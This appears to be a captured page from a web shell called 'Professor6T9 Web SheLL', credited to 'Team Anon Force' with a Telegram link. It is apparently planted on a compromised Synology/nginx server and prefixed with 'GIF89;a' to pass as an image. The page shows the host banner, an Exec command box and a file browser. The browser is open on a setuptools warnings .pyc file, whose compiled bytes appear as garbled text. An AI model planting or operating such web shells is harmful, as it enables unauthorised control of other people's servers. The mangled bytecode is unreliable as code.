GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
__pycache__
[ HOME ]
Exec
Submit
File Name : warnings.cpython-38.pyc
U �}�hs � @ s� d Z ddlmZ ddlZddlZddlmZ ddlmZ ddl m Z ddlmZ ee e e f ZdZd � d d � �ZG dd� de�ZG d d� de�ZG dd� de�Zdd� ZdS )z�Provide basic warnings used by setuptools modules. Using custom classes (other than ``UserWarning``) allow users to set ``PYTHONWARNINGS`` filters to run tests and prepare for upcoming changes in setuptools. � )�annotationsN)�date)�cleandoc)�indent)�Tuplez zP********************************************************************************z {details} c @ sJ e Zd ZdZedddddddd�dd ��Zedd d dddd �dd��ZdS )�SetuptoolsWarningz/Base class in ``setuptools`` warning hierarchy.N� z str | Nonez_DueDate | None�int)�summary�details�due_date�see_docs�see_url� stacklevelc K s� |pt | dd�pd}|p&t | dd�p&d} |p6t | dd�}|pFt | dd�} | oTd| � �}|pdt | dd�}|rrt|� nd}| �|| ||p�||�} |r�|t�� k r�t� r�| | ��tj| | |d d � dS )�6Private: reserved for ``setuptools`` internal use onlyZ_SUMMARYN� Z_DETAILSZ _DUE_DATEZ _SEE_DOCSz%https://setuptools.pypa.io/en/latest/Z_SEE_URL� )r )�getattrr �_format�today�_should_enforce�warnings�warn)�clsr r r r r r �kwargsZsummary_Zdetails_Zdocs_refZdocs_urlZdue�text� r �:/tmp/pip-target-k_nuic9h/lib/python/setuptools/warnings.py�emit s zSetuptoolsWarning.emit�strzdate | Nonezdict | None)r r r r �format_argsc C s� t �� }t|��|pi �}t|��|p(i �|rD||krDd|d�d�nd|rV||k rVdnd|rhd|� d�ndg}dd � |D �}|r�ttjd �|�d�t�} d �|d| d g�S |S )r z By z%Y-%b-%dzi, you need to update your project and remove deprecated calls or your builds will no longer be supported.Nzy This deprecation is overdue, please update your project and remove deprecated calls to avoid build errors in the future.z See z for details.c S s g | ]}|r|�qS r r )�.0�xr r r � <listcomp>O s z-SetuptoolsWarning._format.<locals>.<listcomp>� )r z!! z !!) r r r � format_mapr � _TEMPLATE�format�join�_INDENT) r r r r r r r Zpossible_parts�parts�bodyr r r r 3 s( �����zSetuptoolsWarning._format)NNNNNr )NNN)�__name__� __module__�__qualname__�__doc__�classmethodr r r r r r r s � �r c @ s e Zd ZdZdS )�InformationOnlya Currently there is no clear way of displaying messages to the users that use the setuptools backend directly via ``pip``. The only thing that might work is a warning, although it is not the most appropriate tool for the job... See pypa/packaging-problems#558. N�r, r- r. r/ r r r r r1 V s r1 c @ s e Zd ZdZdS )�SetuptoolsDeprecationWarningz� Base class for warning deprecations in ``setuptools`` This class is not derived from ``DeprecationWarning``, and as such is visible by default. Nr2 r r r r r3 ` s r3 c C s t �dd��� } | dkS )NZSETUPTOOLS_ENFORCE_DEPRECATION�false)�true�on�ok�1)�os�getenv�lower)Zenforcer r r r i s r )r/ � __future__r r9 r �datetimer �inspectr �textwrapr �typingr r Z_DueDater) r&